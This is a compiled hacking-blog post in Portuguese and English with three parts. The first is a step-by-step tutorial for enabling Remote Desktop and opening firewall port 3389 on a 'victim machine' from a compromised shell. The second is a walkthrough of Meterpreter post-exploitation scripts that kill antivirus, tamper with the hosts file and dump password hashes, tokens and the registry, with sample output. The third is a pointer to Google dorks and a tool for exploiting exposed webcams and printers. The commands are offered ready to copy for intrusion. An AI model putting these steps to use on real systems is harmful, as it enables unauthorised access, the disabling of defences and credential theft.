Vou adiantando que o tutorial está em Inglês, não tive saco pra traduzir rsrsrss.

 

Type : Tips and Trick

Level : Easy

There’s a lot of people while learn computer hacking, they didn’t like command prompt or a terminal too much. Some of them prefer quick and fast hacking with a nice and friendly interface that just click here and click there then it finished  .

Today I will wrote tips and trick how to enable remote desktop using command prompt… (hey! it’s still usecommand prompt!)..but wait, this command prompt all you need just to copy and paste and execute it. You can execute the command in this tutorial from Telnet or Shell you got from compromised system, etc.

You can view my last two tutorial to help you much more understand this tips and trick :

How to create a simple exploit for Windows 7

How to add user with administrator rights via comand prompt

Let’s prepare the easy and simple tips and trick how to enable remote desktop using command prompt.

Requirements :

1. Telnet [or] Command Prompt –> with administrative rights

Step by Step :

1. This tips and trick I will continue from the tutorial about Creating Simple Exploit using Metasploit. So in this case you already got the shell or the command prompt.

2. Type this command to enable Remote Desktop on victim machine :

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

3. This step have not finished yet….we need to start the Terminal Service, because terminal service was disabled by default

sc config TermService start= auto

that command will make terminal service will start every time the computer started.

4. Now we need to start the terminal service for use right now, because the command on step 4 only to maketerminal service started every computer started and does not start the service.

net start Termservice

5. Okay everything already done, and we’ve almost done. The next step we need to open port that will be used by remote desktop on firewall, so the alert will not popping up while someone connect to remote desktop server.

netsh.exe

firewall

add portopening TCP 3389 "Remote Desktop"

The command above will make firewall accepted every packet that came to port 3389 that used for Remote Desktop without alert.

6. Open a new terminal (Backtrack 5) or you can use Remote Desktop Client in Windows(Start –> All Programs –> Accessories –> Remote Desktop Connection). In this tips and trick I will use RDesktop in Backtrack 5 R2.

rdesktop 192.168.8.92

7. A GUI (Graphical User Interface) will pop out ask for user name and password.

8. Yes we’re in and successfully enable the remote desktop.

Hope it’s useful m8 

FYI :

– You can add the user via command prompt by following this tutorial about how to add user with administrative rights via command prompt (click here).

 

FONTE:VishnuValentino

Metasploit vem com uma tonelada de scripts úteis que podem ajudar você no Metasploit Framework. Esses scripts são normalmente feitas por terceiros e eventualmente adotada para o repositório de subversão. Nós vamos passar por alguns deles e orientá-lo como você pode usá-los em seu próprio teste de penetração.

Os scripts abaixo mencionados destinam-se a ser utilizado com um invólucro Meterpreter após o ataque com êxito de um alvo. Depois de ter ganho uma sessão com o alvo que você pode utilizar estes scripts para melhor atender às suas necessidades.

checkvm

The ‘checkvm’ script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful.

 meterpreter > run checkvm  

 [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
 [*] This is a VMware Workstation/Fusion Virtual Machine

 

 

getcountermeasure

The ‘getcountermeasure’ script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more.

 meterpreter > run getcountermeasure 

 [*] Running Getcountermeasure on the target... 
 [*] Checking for contermeasures...
 [*] Getting Windows Built in Firewall configuration...
 [*]    
 [*]     Domain profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]    
 [*]     Standard profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]    
 [*]     Local Area Connection 6 firewall configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]    
 [*] Checking DEP Support Policy...

 

 

getgui

The ‘getgui’ script is used to enable RDP on a target system if it is disabled.

 meterpreter > run getgui 

 Windows Remote Desktop Enabler Meterpreter Script
 Usage: getgui -u  -p

 OPTIONS:

 -e   Enable RDP only.
 -h   Help menu.
 -p   The Password of the user to add.
 -u   The Username of the user to add.

 meterpreter > run getgui -e

 [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
 [*] Carlos Perez carlos_perez@darkoperator.com
 [*] Enabling Remote Desktop
 [*] RDP is already enabled
 [*] Setting Terminal Services service startup mode
 [*] Terminal Services service is already set to auto
 [*] Opening port in local firewall if necessary

 

 

get_local_subnets

The ‘get_local_subnets’ script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting.

 meterpreter > run get_local_subnets 

 Local subnet: 10.211.55.0/255.255.255.0

 

 

gettelnet

The ‘gettelnet’ script is used to enable telnet on the victim if it is disabled.

 meterpreter > run gettelnet 

 Windows Telnet Server Enabler Meterpreter Script
 Usage: gettelnet -u  -p

 OPTIONS:

 -e   Enable Telnet Server only.
 -h   Help menu.
 -p   The Password of the user to add.
 -u   The Username of the user to add.

 meterpreter > run gettelnet -e

 [*] Windows Telnet Server Enabler Meterpreter Script
 [*] Setting Telnet Server Services service startup mode
 [*] The Telnet Server Services service is not set to auto, changing it to auto ...
 [*] Opening port in local firewall if necessary

 

 

hostsedit

The ‘hostsedit’ Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line.

meterpreter > run hostsedit 

 OPTIONS:

 -e   Host entry in the format of IP,Hostname.
 -h   Help Options.
 -l   Text file with list of entries in the format of IP,Hostname. One per line.

 Example:

 run hostsedit -e 127.0.0.1,google.com
 run hostsedit -l /tmp/fakednsentries.txt

 meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com
 [*] Making Backup of the hosts file.
 [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back
 [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162
 [*] Clearing the DNS Cache

 

 

killav

The ‘killav’ script can be used to disable most antivirus programs running as a service on a target.

 meterpreter > run killav 

 [*] Killing Antivirus services on the target...
 [*] Killing off cmd.exe...

 

 

remotewinenum

The ‘remotewinenum’ script will enumerate system information through wmic on victim. Make note of where the logs are stored.

meterpreter > run remotewinenum

 Remote Windows Enumeration Meterpreter Script
 This script will enumerate windows hosts in the target environment
 given a username and password or using the credential under witch
 Meterpreter is running using WMI wmic windows native tool.
 Usage:

 OPTIONS:

 -h   Help menu.
 -p   Password of user on target system
 -t   The target address
 -u   User on the target system (If not provided it will use credential of process)

 meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128

 [*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142 
 [*] Running WMIC Commands ....
 [*]     running command wimic environment list
 [*]     running command wimic share list
 [*]     running command wimic nicconfig list
 [*]     running command wimic computersystem list
 [*]     running command wimic useraccount list
 [*]     running command wimic group list
 [*]     running command wimic sysaccount list
 [*]     running command wimic volume list brief
 [*]     running command wimic logicaldisk get description,filesystem,name,size
 [*]     running command wimic netlogin get name,lastlogon,badpasswordcount
 [*]     running command wimic netclient list brief
 [*]     running command wimic netuse get name,username,connectiontype,localname
 [*]     running command wimic share get name,path
 [*]     running command wimic nteventlog get path,filename,writeable
 [*]     running command wimic service list brief
 [*]     running command wimic process list brief
 [*]     running command wimic startup list full
 [*]     running command wimic rdtoggle list
 [*]     running command wimic product get name,version
 [*]     running command wimic qfe list

 

 

scraper

The ‘scraper’ script can grab even more system information, including the entire registry.

meterpreter > run scraper

 [*] New session on 10.211.55.128:4444...
 [*] Gathering basic system information...
 [*] Dumping password hashes...
 [*] Obtaining the entire registry...
 [*] Exporting HKCU
 [*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg)
 [*] Cleaning HKCU
 [*] Exporting HKLM
 [*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg)

From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more.

 

winenum

The ‘winenum’ script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more.

meterpreter > run winenum 

 [*] Running Windows Local Enumerion Meterpreter Script
 [*] New session on 10.211.55.128:4444...
 [*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt
 [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
 [*]     This is a VMware Workstation/Fusion Virtual Machine 
 [*] Running Command List ...
 [*]     running command cmd.exe /c set
 [*]     running command arp -a
 [*]     running command ipconfig /all
 [*]     running command ipconfig /displaydns
 [*]     running command route print
 [*]     running command net view
 [*]     running command netstat -nao
 [*]     running command netstat -vb
 [*]     running command netstat -ns
 [*]     running command net accounts
 [*]     running command net accounts /domain
 [*]     running command net session
 [*]     running command net share
 [*]     running command net group
 [*]     running command net user
 [*]     running command net localgroup
 [*]     running command net localgroup administrators
 [*]     running command net group administrators
 [*]     running command net view /domain
 [*]     running command netsh firewall show config
 [*]     running command tasklist /svc
 [*]     running command tasklist /m
 [*]     running command gpresult /SCOPE COMPUTER /Z
 [*]     running command gpresult /SCOPE USER /Z
 [*] Running WMIC Commands ....
 [*]     running command wmic computersystem list brief
 [*]     running command wmic useraccount list
 [*]     running command wmic group list
 [*]     running command wmic service list brief
 [*]     running command wmic volume list brief
 [*]     running command wmic logicaldisk get description,filesystem,name,size
 [*]     running command wmic netlogin get name,lastlogon,badpasswordcount
 [*]     running command wmic netclient list brief
 [*]     running command wmic netuse get name,username,connectiontype,localname
 [*]     running command wmic share get name,path
 [*]     running command wmic nteventlog get path,filename,writeable
 [*]     running command wmic process list brief
 [*]     running command wmic startup list full
 [*]     running command wmic rdtoggle list
 [*]     running command wmic product get name,version
 [*]     running command wmic qfe
 [*] Extracting software list from registry
 [*] Finished Extraction of software list from registry
 [*] Dumping password hashes...
 [*] Hashes Dumped
 [*] Getting Tokens...
 [*] All tokens have been processed
 [*] Done!

Usando Dorks do Google para encontrar computadores na rede não é novidade. Na verdade é usado para encontrar versões de software específicos e usar as últimas façanhas que têm surgido. E que o mais certo é que alguns administradores não tem corrigido seus computadores.

Os crackers de Hackplayers publicaram no outro dia para encontrar algumas câmeras IP dorks usando Dorks do Google.

http://www.hackplayers.com/2013/01/google-dorks-para-espiar-webcams.html

No post, podemos encontrar uma maneira de encontrar impressoras vulneráveis. Também há epxlotación ferramenta para a vulnerabilidade.

É por isso que nós podemos fazer pesquisas do tipo:

Temos também, como eu disse, a ferramenta está disponível no GitHub

https://github.com/percx/Praeda

Ser poderoso com o Google!

Fonte:Flu